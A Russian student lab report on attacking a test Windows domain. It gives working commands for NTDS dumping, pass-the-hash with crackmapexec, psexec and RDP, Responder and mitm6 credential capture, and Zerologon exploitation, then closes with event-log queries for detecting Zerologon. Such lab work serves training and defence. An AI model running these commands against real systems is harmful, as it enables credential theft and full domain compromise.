# Практическая работа № 6. ## 6.1 Базовые атаки на Windows-инфраструктуру. Создадим бэкап базы NTDS. На контроллере домена выполним: ```bash= ntdsutil activate instance ntds ifm create full C:\Temp ``` Результат ![](https://i.imgur.com/2hgHmyU.png) C Kali Linux скопируюм данный файл ```bash= smbclient '\\192.168.10.200\C$' -U PT/Administrator ``` ![](https://i.imgur.com/oouKFNX.png) Следующая последовательность команд в smbclient копирует файл ```bash= recurse ON prompt OFF lcd /home/kali mget temp ``` Скачивание завершено ![](https://i.imgur.com/4NbfdBB.png) Далее проведем анализ NTDS. Анализ проводить будем пакетом imipacket. Следующими командами клонируем данный пакет и установим его. ```bash= git clone https://github.com/SecureAuthCorp/impacket apt install python3-pip cd impacket pip install . ``` Репозиторий склонирован ![](https://i.imgur.com/jN71LcY.png) Python3-pip установлен ![](https://i.imgur.com/Mk7uHdM.png) Impacket установился, но с ошибками совместимости, некоторые пакеты на системы новее требуемых. Попробуем так запуститься. ![](https://i.imgur.com/jKA7COT.png) Теперь проведем анализ дампа NTDS ```bash= cd examples python3 secretsdump.py -ntds /home/kali/temp/Active\ Directory/ntds.dit -system /home/kali/Temp/registry/SYSTEM LOCAL ``` Анализ прошел успешно ![](https://i.imgur.com/AAAJAuB.png) Тут мы будем проводить атаку path-the-hash. Просканирум сеть на обнаружение хостов взаимодействующих по протоколу SMB. Для этого воспользуемся утилитой crackmapexec Запустим быстрое сканирование ```bash= crackmapexec smb 192.168.10.0/24 ``` Результат ![](https://i.imgur.com/YyBuqov.png) Возьмем hash пользователя ADMPetr, который мы получили ранее инструментом impacket. ```bash= aad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128 ``` Посмотрим список доступных сетевых папок пользователю ADMPetr на сервере dc1 ```bash= crackmapexec smb 192.168.10.200 -u ADMPetr -H aad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128 --shares ``` У Петра довольно много прав ) ![](https://i.imgur.com/FguaMj9.png) Запустим удаленную командную строку на сервере dc1 ```bash= python3 smbexec.py PT/ADMPetr@192.168.10.200 -hashes ad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128 ``` Результат ![](https://i.imgur.com/aVGtVyF.png) Можно использовать аналог psexec ```bash= python3 psexec.py PT/ADMPetr@192.168.10.200 -hashes ad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128 ``` Результат ![](https://i.imgur.com/VPeQKgo.png) С помощью xfreerdp попытаемся зайти по RDP на сервер dc1 Команда запуска ```bash= xfreerdp /d:PT /u:ADMPetr /v:192.168.10.200 /pth:05df2fd1109e3d3b60f110965f6af128 ``` Однако мы не разрешали доступ по RDP на сервере dc1, разрешим для пользователя ADMPetr. ![](https://i.imgur.com/Ba687JK.png) Запустим скрипт и подтвердим сертификат ![](https://i.imgur.com/RMlFRsV.png) Подключение неудачное ![](https://i.imgur.com/Vdl4yMx.png) Для отключения ограничения админов выполним следующий командлет ```powershell= New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name DisableRestrictedAdmin -Value 0 -PropertyType DWORD -Force ``` Результат ![](https://i.imgur.com/doxEY4B.png) Благодаря политике аудита Powershell мы можем видить в событиях запуск данного скрипта ![](https://i.imgur.com/sBDbDKB.png) Xfreerdp работает ![](https://i.imgur.com/lljLlow.png) Продолжим атаковать протоколы Windows Будем пытаться атаковать NBT-NS & LLMNR & mDNS Для этого есть инструмент responder. Запустим спавку ```bash= reponder -h ``` Результат ![](https://i.imgur.com/2qP16RE.png) Командой запустим responder ```bash= responder -I eth0 -A ``` ![](https://i.imgur.com/XcfTp4W.png) На доменной машине попробуем обратиться к несуществующей smb шаре ![](https://i.imgur.com/ZFGZYRg.png) Responder видит такие обращения ![](https://i.imgur.com/retoka2.png) Попробуем запросить аутентификационные данные у пользователя при доступе к несуществующей шаре ```bash= responder -I eth0 -wFv ``` Аутентификационные данные запрашиваются для несуществующей шары ![](https://i.imgur.com/K0X3rIm.png) Responder перехватывает токен доступа ![](https://i.imgur.com/sqWqkQ5.png) Далее данный хэш можно подать на john или hashcat Теперь используем атаку mitm через фейковый dhcp6 сервер Будем использовать утилиту mitm6 Установим ее ```bash= pip install mitm6 ``` ![](https://i.imgur.com/qWu4yNv.png) В команде атаки указываем домен ```bash= mitm6 -d pt.local ``` Результат ![](https://i.imgur.com/wLeFF4S.png) Настройки сетевого адаптера на машине. Протокол IPv6 отключен. ![](https://i.imgur.com/iXeqO8g.png) Включим протокол IPv6 на машине pc1 и проверим интерфейс ![](https://i.imgur.com/ykdB5cj.png) Проведем атаку ![](https://i.imgur.com/Bn0kYCS.png) Проверим результат ![](https://i.imgur.com/KJIJOzi.png) Мы в канале. Теперь нам нужно получить аутентификационные данные, для этого поднимим SMB сервер с помощью такой команды из пакета impacket ```bash= python3 smbserver.py -smb2support SMB /root/SMB ``` Результат ![](https://i.imgur.com/DQ40ZM2.png) На машине pc1 пробуем зайти на pt.local. Видим там шару SMB ![](https://i.imgur.com/8VtmCyx.png) В выводе smbserver находим аутентификационные данные ![](https://i.imgur.com/q4etom8.png) Далее для взлома хеша можно подключить john или hashcat ## 6.2 Компрометация Active Directory Проведем атаку на домен Windows и попробуем найти следы. Аудит управления машинных учетных записей мы включили в задании по настройке GPO. Будем использовать уязвимость zerologin ![](https://i.imgur.com/yicckE6.png) Склонируем репозиторий ```bash= git clone https://github.com/risksense/zerologon ``` ![](https://i.imgur.com/OT4iuE1.png) Сбросим пароль доменной машины ```bash= python3 zerologon/set_empty_pw.py DC1 192.168.10.200 ``` ![](https://i.imgur.com/bXrntPR.png) Impacket у нас установлен Попытаемся сдампить NTDS ```bash= python3 impacket/examples/secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC1$@192.168.10.200' ``` Получили хэши учетных данных ![](https://i.imgur.com/rATBEqs.png) Выполним команду на котроллере домен от пользователя ADMPetr ```bash= crackmapexec smb 192.168.10.200 -u ADMPetr -H 05df2fd1109e3d3b60f110965f6af128 -x whoami ``` ![](https://i.imgur.com/64yJkXh.png) Попробуем найти следы эксплуатации в журналах Windows на сервере dc1 Можем использовать следующий командлет ```powershell= Get-WinEvent –FilterHashTable @{LogName=’Security’;ID=4742} Get-WinEvent –FilterHashTable @{LogName=’System’;ID=5805} ``` ![](https://i.imgur.com/eafugWR.png) Находим событие с анонимным входом и сменой пароля учетной записи не от сетевой службы. Кроме того нет еще одного события с id 5823, которое возникает при легитимной смене пароля доменной машины. ![](https://i.imgur.com/eRyi4Ie.png) ![](https://i.imgur.com/dmxqoG2.png) На этом данная работа закончена